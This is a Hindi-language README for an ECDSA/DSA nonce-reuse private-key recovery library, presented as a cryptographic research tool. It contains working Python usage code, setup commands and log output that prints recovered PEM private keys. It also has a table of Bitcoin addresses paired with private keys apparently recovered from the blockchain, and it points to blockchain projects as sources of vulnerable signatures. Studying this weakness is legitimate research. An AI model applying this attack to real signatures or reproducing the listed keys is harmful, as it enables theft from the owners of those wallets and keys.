ecdsa-key-recovery

ECDSA और DSA नॉन्स पुन:उपयोग (Nonce Reuse) निजी कुंजी पुनर्प्राप्ति हमलों को निष्पादित करें

सिग्नेचर कमजोरियों के विश्लेषण के लिए एक क्रिप्टोग्राफिक अनुसंधान उपकरण

आइए समान nonce k साझा करने वाले दो सिग्नेचरों के लिए निजी-कुंजी पुनर्प्राप्त करें। ध्यान दें कि समान nonce k चुनने से दोनों सिग्नेचरों में समान सिग्नेचर मान r होता है। ECDSA नॉन्स पुन:उपयोग के लिए अच्छे उम्मीदवार खोजने हेतु विभिन्न संदेशों (या हैश) के लिए समान r, pubkey को curve पर साझा करने वाले सिग्नेचरों की जाँच करें। उदा. bitcoind पर आधारित ब्लॉकचेन प्रोजेक्ट आमतौर पर ECDSA सिग्नेचर सामग्री के अच्छे स्रोत होते हैं।

• sampleA (r, sA, hashA, pubkey, curve)
• sampleB (r, sB, hashB, pubkey, curve)

sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # sampleA के समान privkey, nonce reuse k के कारण समान r।

# निजी कुंजी पुनर्प्राप्त करें
sampleA.recover_nonce_reuse(sampleB)  # sampleA को पुनर्प्राप्त निजी कुंजी से भरता है, उपयोग के लिए तैयार
print sampleA.privkey 

सेटअप

Python 2.x:

#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Python 3.x:

#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

बिटकॉइन ब्लॉकचेन से निजी कुंजियाँ पुनर्प्राप्त करना

tools/README.md

BTC पता	Base58 Privkey	r
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W	5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw	19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	6828441658514710620715231245132541628903431519484374098968817647395811175535

उदाहरण

पुनर्प्राप्ति योग्य सिग्नेचर ऑब्जेक्ट बनाएं:

from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# वक्र निर्दिष्ट करें
curve = ecdsa.SECP256k1

# हेक्स-एन्कोडेड स्ट्रिंग से मानक ecdsa pubkey ऑब्जेक्ट बनाएं
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# sampleA और sampleB पुनर्प्राप्ति योग्य सिग्नेचर ऑब्जेक्ट बनाएं।
# लंबा r, लंबा s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# कुंजी अभी तक पुनर्प्राप्त नहीं हुई
assert (sampleA.x is None)     

sampleA के लिए निजी कुंजी पुनर्प्राप्त करें

# कुंजी पुनर्प्राप्त करने का प्रयास करें - यह ऑब्जेक्ट sampleA को अपडेट करता है
sampleA.recover_nonce_reuse(sampleB)    # sampleB के साथ साझा निजीकुंजी पुनर्प्राप्त करें
assert (sampleA.x is not None)          # privkey पुनर्प्राप्ति सफल होने की पुष्टि करें। यह हमें उपयोग के लिए तैयार ECDSA privkey ऑब्जेक्ट देता है
assert sampleA.privkey

आउटपुट

INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - nonce reuse से निजी-कुंजी पुनर्प्राप्त की जा रही है ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - निजी कुंजी पुनर्प्राप्त!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - nonce reuse से निजी-कुंजी पुनर्प्राप्त की जा रही है ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - निजी कुंजी पुनर्प्राप्त!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----